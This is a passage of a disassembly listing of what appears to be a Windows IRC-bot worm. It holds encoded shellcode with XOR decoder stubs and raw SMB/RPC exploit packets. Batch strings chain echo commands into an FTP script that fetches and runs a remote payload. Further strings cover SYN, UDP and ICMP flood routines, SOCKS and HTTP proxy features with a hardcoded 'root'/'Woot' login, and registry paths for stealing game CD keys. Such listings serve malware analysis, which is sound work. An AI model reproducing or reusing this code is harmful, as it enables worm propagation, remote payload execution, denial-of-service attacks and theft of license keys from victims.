		loop	loc_445E32
		jmp	short loc_445E3F
; ---------------------------------------------------------------------------


loc_445E3A:				; CODE XREF: ___:loc_445E28j
		call	sub_445E2A


loc_445E3F:				; CODE XREF: sub_445E2A+Ej
		jo	short near ptr dword_445DB8+1Eh
		cwde
		cdq
		cdq
		retn
sub_445E2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_445ED8	dw 4B9Dh		; DATA XREF: sub_4257F0+105w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_445FC0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:00425E52o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44604C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425E87o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_4460F8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425EB6o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4461D8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+5Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
		db 43h,	0, 24h
dword_44622F	dd 3F000000h	dword_446233	dd 3F3F3F3Fh	byte_446237	db 0			; DATA XREF: sub_4257F0+B4r
		dd 0
dword_44623C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2C2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4462A8	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2F5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44634C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+3FAo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4463CC	dd offset sub_401492+3	; DATA XREF: sub_4257F0+42Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_446460	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+335o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4464CC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+368o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446540	dd 0				dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 3	dup(0)
dword_4465CC	dd 1004600h						; sub_4257F0+24Fr
		dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467B4	dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat	db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
		align 4
		dd 0
aEchoDelFC_batC	db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
		align 10h
aEchoDel_pifC_b	db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
		dd 0
aEchoSC_bat	db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
		align 10h
		dd 0
aEchoFtpNVS_pif	db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
		align 4
		dd 0
aEcho@echoOffC_	db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
		align 8
aEchoBye_pif	db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
		align 10h
aEchoGetS_pif	db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
		align 4
		dd 0
aEchoBinary_pif	db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
		align 8
aEchoUserAA_pif	db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
		align 10h
		dd 0
aEchoOpenSD_pif	db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
		align 10h
dword_446900	dd 6EB06EBh			align 8
dword_446908	dd 73255C5Ch, 6370695Ch, 24h					; ___:00426352o
dword_446914	dd 1CEC8166h	dword_446918	dd 0E4FF07h			align 10h
dword_446920	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44696C	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_44699C	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_4469BC	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_4469C6:				; CODE XREF: ___:004469D0j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_4469C6
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs	db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
					; DATA XREF: sub_426070+D6o
		db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 4
		dd 6 dup(0)
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
		align 8
word_446C28	dw 2EBh			; DATA XREF: ___:00426331r
		align 4
dword_446C2C	dd 215h				dd 0
dword_446C34	dd 20804h			dd 0
; ---------------------------------------------------------------------------


loc_446C3C:				; DATA XREF: sub_4267D0+CCo
		jmp	short loc_446C40
; ---------------------------------------------------------------------------


loc_446C3E:				; CODE XREF: ___:loc_446C40p
		jmp	short loc_446C45
; ---------------------------------------------------------------------------


loc_446C40:				; CODE XREF: ___:loc_446C3Cj
		call	loc_446C3E


loc_446C45:				; CODE XREF: ___:loc_446C3Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_446C4A	dw 0FFFFh		; DATA XREF: sub_4267D0+D3w
		db 80h,	73h, 0Eh
byte_446C4F	db 0FFh			; DATA XREF: sub_4267D0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_446C54:				; DATA XREF: sub_4267D0+A7o
		jmp	short loc_446C58
; ---------------------------------------------------------------------------


loc_446C56:				; CODE XREF: ___:loc_446C58p
		jmp	short loc_446C5D
; ---------------------------------------------------------------------------


loc_446C58:				; CODE XREF: ___:loc_446C54j
		call	loc_446C56


loc_446C5D:				; CODE XREF: ___:loc_446C56j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_446C61	db 0FFh			; DATA XREF: sub_4267D0+AEw
		dw 7380h
		db 0Ch
byte_446C65	db 0FFh			; DATA XREF: sub_4267D0+B4w
		dw 0E243h
		dd 0F9h
dword_446C6C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_426560+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CD0	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_446CE0	dd 74656720h	byte_446CE4	db 20h			; DATA XREF: sub_426560+A2r
dword_446CE5	dd 0E8006A00h	dword_446CE9	dd 17h							; sub_426560+D2r
dword_446CED	dd 0E8C30175h	dword_446CF1	dd 1							; sub_426560+E7r
byte_446CF5	db 0, 6Ah, 0		; DATA XREF: sub_426560+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_446CFF	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_427740+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_427990+D0o
		align 4
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o
		align 10h
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o
		align 4
		dd 0
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_427B10+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_427B10+2Bo
		align 10h
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_427B10+23o
		align 10h
		dd 0
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_427B10+Co
		align 10h
aForsyn		db 'forsyn',0           ; DATA XREF: sub_427C90+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
		align 10h
		dd 0
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
		align 10h
		dd 0
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_4281A0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
		align 10h
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
		align 4
		dd 0
aUdp		db 'udp',0              ; DATA XREF: sub_428880+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_428940+C0o
		align 10h
		dd 0
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
		align 10h
		dd 0
off_446F04	dd offset byte_455247	; DATA XREF: sub_4290B0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 4
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 10h
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o
					; ___:0042A147o
		align 10h
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o
					; ___:0042A129o
		align 10h
aConnection	db 'Connection:',0      ; DATA XREF: ___:00429F54o
		align 10h
aChunked	db 'chunked',0          ; DATA XREF: ___:00429F11o
		dd 0
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o
		align 10h
		dd 0
aContentLength	db 'Content-Length:',0  ; DATA XREF: ___:00429E2Do
		align 8
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C8Eo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		align 10h
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C59o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 4
		dd 0
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: ___:loc_429B5Bo
					; ___:00429FA0o
		align 4
		dd 0
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o
		align 10h
		dd 0
asc_4471F4	db 0Dh,0Ah,0		; DATA XREF: ___:00429A1Co
					; ___:00429ADCo ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: ___:004299E7o
		dd 0
aConnect	db 'connect',0          ; DATA XREF: ___:004297B2o
		align 10h
aConnect_0	db 'CONNECT',0          ; DATA XREF: ___:0042977Do
		dd 0
off_44721C	dd offset byte_544547	; DATA XREF: ___:004296B8o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_42ACB0+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o
		align 10h
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o
		dd 2 dup(0)
aSocks4		db 'Socks4',0           ; DATA XREF: sub_42AFF0+22o
					; sub_42B380+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
		align 4
		dd 0
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
		align 4
		dd 2 dup(0)
dword_4472FC	dd 1000005h, 0	dword_447304	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42CB70+20Fo
		align 10h
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42CB70+3Fo
		align 10h
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042D725o
		dd 3 dup(0)
aRoot		db 'root',0             ; DATA XREF: ___:0042D6B1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004473CCo
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 4
		dd 0
aCalloc		db 'calloc',0
		align 4
aSetsockopt	db 'setsockopt',0
		align 10h
		dd 0
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42DB00+49o
					; sub_42DB00:loc_42DBBDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
		align 10h
aRead		db 'read',0             ; DATA XREF: sub_42DF40:loc_42E0DCo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42E3C0+72o
		dd 0
aUserS		db 'USER %s',0          ; DATA XREF: sub_42E3C0+3Do
		align 10h
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
		align 8
dword_4474A8	dd 524F5453h	byte_4474AC	db 0			; DATA XREF: sub_42E5B0+EDr
		align 10h
dword_4474B0	dd 52544552h	byte_4474B4	db 0			; DATA XREF: sub_42E5B0+D3r
		align 4
dword_4474B8	dd 5453494Ch	byte_4474BC	db 0			; DATA XREF: sub_42E5B0+B8r
		align 10h
dword_4474C0	dd 54534C4Eh	byte_4474C4	db 0			; DATA XREF: sub_42E5B0+9Er
		align 4
dword_4474C8	dd 45505954h, 632520h, 0					; ___:0042F9BAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42E5B0+2Do
		align 10h
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
		dd 0
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 4
aGetsockname	db 'getsockname',0
		dd 0
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
		align 4
		dd 0
aPasv		db 'PASV',0             ; DATA XREF: sub_42E870+B4o
		align 4
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
		align 10h
		dd 0
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 4
		dd 0
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 4
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
		align 4
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
		align 4
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042F3CEo
		align 8
aSyst		db 'SYST',0             ; DATA XREF: ___:0042F42Do
		align 10h
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042F4BEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042F53Eo
		align 10h
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042F597o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042F5EEo
		align 10h
off_447680	dd offset aSendtoSocketFa+20h ;	DATA XREF: ___:0042F64Do
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42F6F0:loc_42F871o
		align 8
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
		align 10h
word_4476C0	dw 77h			; DATA XREF: sub_42F6F0+1Fr
		align 4
dword_4476C4	dd 25206425h, 64hdword_4476CC	dd 455A4953h, 732520h, 0dword_4476D8	dd 4D54444Dh, 732520h, 0dword_4476E4	dd 4F544E52h, 732520h, 0dword_4476F0	dd 52464E52h, 732520h, 0dword_4476FC	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42FD30+10o
		align 10h
dword_447710	dd 1							; sub_431750+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
		align 10h
		dd 0
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_432570+6o
		align 4
aA:					; DATA XREF: sub_434D10+36o
		unicode	0, <─>,0
		dd 12h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 448864h, 448F40h,	448830h, 80000002h, 4487D0h
		dd 448F40h, 4487A0h, 80000002h,	448748h, 448F40h, 448724h
		dd 80000002h, 4486DCh, 448F40h,	4486C4h, 80000002h, 448680h
		dd 448F40h, 448658h, 80000002h,	44861Ch, 448F40h, 4485E8h
		dd 80000002h, 448588h, 448F40h,	44855Ch, 80000002h, 448538h
		dd 448530h, 448504h, 80000002h,	4484DCh, 448530h, 4484C4h
		dd 80000001h, 448494h, 448490h,	448480h, 80000002h, 448444h
		dd 448F40h, 448434h, 80000002h,	4483F8h, 448F40h, 4483E4h
		dd 80000002h, 44839Ch, 448F40h,	448380h, 80000002h, 44833Ch
		dd 448F40h, 448320h, 80000001h,	4482F8h, 448490h, 4482E8h
		dd 80000001h, 4482C0h, 448490h,	4482A0h, 80000002h, 448264h
		dd 448260h, 448244h, 80000002h,	448220h, 448218h, 448200h
		dd 80000001h, 4481D4h, 4481CCh,	4481A8h, 80000002h, 44815Ch
		dd 448F40h, 448134h, 80000002h,	4480E0h, 448F40h, 4480A8h
		dd 80000002h, 448044h, 448F40h,	448010h, 80000002h, 447FB0h
		dd 448F40h, 447F94h, 80000002h,	447F4Ch, 448F40h, 447F30h
		dd 80000002h, 447EE8h, 448F40h,	447ED8h, 80000002h, 447E9Ch
		dd 448F40h, 447E8Ch, 80000002h,	447E50h, 448F40h, 447E28h
		dd 80000002h, 447DD4h, 448F40h,	447DACh, 80000002h, 447D5Ch
		dd 448F40h, 447D40h, 80000002h,	447D18h, 448490h, 447D04h
		dd 80000002h, 447CCCh, 448F40h,	447C9Ch, 80000002h, 447C44h
		dd 448F40h, 447C28h, 80000001h,	447BD8h, 447BD0h, 447BB4h
		dd 80000002h, 447B70h, 447B64h,	447B4Ch, 80000001h, 447B1Ch
		dd 447B10h, 447AF0h, 80000002h,	447AB4h, 447BD0h, 447A94h
		dd 80000002h, 447A58h, 447BD0h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
